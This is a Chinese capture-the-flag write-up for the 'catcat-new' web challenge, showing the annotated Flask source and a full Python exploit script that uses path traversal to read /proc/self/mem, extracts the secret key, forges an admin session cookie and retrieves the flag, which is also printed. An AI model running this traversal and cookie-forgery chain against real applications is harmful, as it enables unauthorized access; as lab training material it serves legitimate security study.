131,【2】 攻防世界 catcat-new

进入靶场

🐱

点击图片时发现url处很可疑

想到文件读取

../app.py

# 导入 os 模块,用于与操作系统进行交互,例如文件操作、路径操作等
import os
# 导入 uuid 模块,用于生成通用唯一识别码,常用于生成随机的密钥
import uuid
# 从 flask 模块中导入 Flask 类、request 对象、session 对象、render_template 函数和 Markup 类
# Flask 类用于创建 Flask 应用实例
# request 对象用于获取客户端的请求信息
# session 对象用于管理用户会话
# render_template 函数用于渲染 HTML 模板
# Markup 类用于处理 HTML 标记
from flask import Flask, request, session, render_template, Markup
# 从 cat 模块中导入 cat 函数,该函数可能用于读取文件内容
from cat import cat

# 初始化一个空字符串,用于存储从文件中读取的标志信息
flag = ""

# 创建一个 Flask 应用实例
# __name__ 是 Python 中的一个内置变量,表示当前模块的名称
# static_url_path='/' 表示静态文件的 URL 前缀为根路径
# static_folder='static' 表示静态文件存储在 'static' 文件夹中
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)

# 为应用设置一个随机生成的密钥,用于加密会话数据
# str(uuid.uuid4()).replace("-", "") 生成一个随机的 UUID 并去除其中的连字符
# "*abcdefgh" 是自定义的后缀,增加密钥的复杂度
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

# 检查系统中是否存在 '/flag' 文件
if os.path.isfile("/flag"):
    # 如果文件存在,使用 cat 函数读取文件内容并赋值给 flag 变量
    flag = cat("/flag")
    # 读取完成后,删除 '/flag' 文件,确保文件内容不会被再次读取
    os.remove("/flag")

# 定义一个路由,当客户端访问根路径('/')时,执行 index 函数
@app.route('/', methods=['GET'])
def index():
    # 获取 './details/' 文件夹下的所有文件名
    detailtxt = os.listdir('./details/')
    # 初始化一个空列表,用于存储处理后的文件名
    cats_list = []
    # 遍历 './details/' 文件夹下的所有文件名
    for i in detailtxt:
        # 截取文件名中 '.' 之前的部分,并添加到 cats_list 列表中
        cats_list.append(i[:i.index('.')])

    # 渲染 'index.html' 模板,并将 cats_list 和 cat 函数传递给模板
    return render_template("index.html", cats_list=cats_list, cat=cat)


# 定义一个路由,当客户端访问 '/info' 路径时,执行 info 函数
# 支持 GET 和 POST 请求方法
@app.route('/info', methods=["GET", 'POST'])
def info():
    # 从请求的查询参数中获取 'file' 参数的值,并拼接成文件的完整路径
    filename = "./details/" + request.args.get('file', "")
    # 从请求的查询参数中获取 'start' 参数的值,如果不存在则默认为 '0'
    start = request.args.get('start', "0")
    # 从请求的查询参数中获取 'end' 参数的值,如果不存在则默认为 '0'
    end = request.args.get('end', "0")
    # 从请求的查询参数中获取 'file' 参数的值,并截取 '.' 之前的部分作为文件名
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    # 渲染 'detail.html' 模板,并将文件名和文件内容传递给模板
    return render_template("detail.html", catname=name, info=cat(filename, start, end))


# 定义一个路由,当客户端访问 '/admin' 路径时,执行 admin_can_list_root 函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    # 检查会话中 'admin' 键的值是否为 1
    if session.get('admin') == 1:
        # 如果是,则返回存储的标志信息
        return flag
    else:
        # 如果不是,则将会话中 'admin' 键的值设置为 0
        session['admin'] = 0
        # 并返回 "NoNoNo" 提示信息
        return "NoNoNo"


# 当该脚本作为主程序运行时,启动 Flask 应用
if __name__ == '__main__':
    # 应用监听所有可用的网络接口
    app.run(host='0.0.0.0',
            # 关闭调试模式,避免在生产环境中泄露敏感信息
            debug=False,
            # 应用监听的端口号为 5637
            port=5637)

 按照要求用脚本爆破

【愚公系列】2023年05月 攻防世界-Web(catcat-new)-优快云博客

# 声明文件编码为 UTF-8,确保可以正确处理包含非 ASCII 字符的文本
# coding=utf-8
#----------------------------------
###################################
# 代码编辑者信息,表明代码由 lx56 在 blog.lxscloud.top 编辑
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
# 导入 requests 库,用于发送 HTTP 请求
import requests
# 导入 re 库,用于进行正则表达式匹配
import re
# 导入 ast 库,用于将字符串形式的 Python 数据结构转换为实际的数据结构
# 导入 sys 库,用于获取 Python 解释器的相关信息
import ast, sys
# 从 abc 模块中导入 ABC 类,用于创建抽象基类
from abc import ABC
# 从 flask.sessions 模块中导入 SecureCookieSessionInterface 类,用于处理 Flask 会话的签名和序列化
from flask.sessions import SecureCookieSessionInterface

# 目标网站的 URL
url = "http://61.147.171.105:51337/"

# 此程序只能运行于 Python 3 以上版本
# sys.version_info[0] 表示 Python 主版本号
if sys.version_info[0] < 3:  # < 3.0
    # 如果 Python 版本小于 3,抛出异常提示必须使用至少 Python 3
    raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
# 定义一个 MockApp 类,用于模拟 Flask 应用
class MockApp(object):
    def __init__(self, secret_key):
        # 初始化方法,接收一个 secret_key 参数并赋值给实例属性
        self.secret_key = secret_key

# 定义一个抽象基类 FSCM,用于封装 Flask 会话编码的功能
class FSCM(ABC):
    # 定义一个类方法 encode,用于编码 Flask 会话 cookie
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            # 创建一个 MockApp 实例,传入 secret_key
            app = MockApp(secret_key)
            # 将字符串形式的会话结构转换为字典
            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            # 创建 SecureCookieSessionInterface 实例
            si = SecureCookieSessionInterface()
            # 获取用于签名和序列化会话的序列化器
            s = si.get_signing_serializer(app)
            # 对会话结构进行序列化并返回
            return s.dumps(session_cookie_structure)
        except Exception as e:
            # 如果出现异常,返回错误信息
            return "[Encoding error] {}".format(e)
            # 抛出异常
            raise e

# 初始化 secret key 为空字符串
s_key = ""
# 定义路径绕过字符串,用于构造请求路径
bypass = "../.."
# 发送 GET 请求到 info 路由,尝试读取 /proc/self/maps 文件
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
# 将响应文本按换行符分割成列表
map_list = map_list.text.split("\\n")
# 遍历列表中的每一行
for i in map_list:
    # 使用正则表达式匹配具有读写权限的内存地址范围
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        # 将匹配到的起始地址转换为十六进制整数
        start = int(map_addr.group(1), 16)
        # 将匹配到的结束地址转换为十六进制整数
        end = int(map_addr.group(2), 16)
        # 打印找到的具有读写权限的地址范围
        print("Found rw addr:", start, "-", end)

        # 发送 GET 请求到 info 路由,读取 /proc/self/mem 文件的指定范围
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 检查响应文本中是否包含特定的字符串 "*abcdefgh"
        if "*abcdefgh" in res.text:
            # 使用正则表达式查找符合特定格式的 secret key
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                # 打印找到的 secret key
                print("Secret Key:", secret_key[0])
                # 将找到的 secret key 赋值给 s_key 变量
                s_key = secret_key[0]
                # 找到 secret key 后跳出循环
                break

# 定义会话数据,将 admin 的值设置为 1
data = '{"admin":1}'
# 构造包含伪造会话 cookie 的请求头
headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
}
# 尝试发送 GET 请求到 admin 路由,携带伪造的会话 cookie
try:
    flag = requests.get(url + "admin", headers=headers)
    # 打印获取到的 flag 信息
    print("Flag is", flag.text)
except:
    # 如果出现异常,打印错误提示信息
    print("Something error")

 得到flag

catctf{Catch_the_c4t_HaHa}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值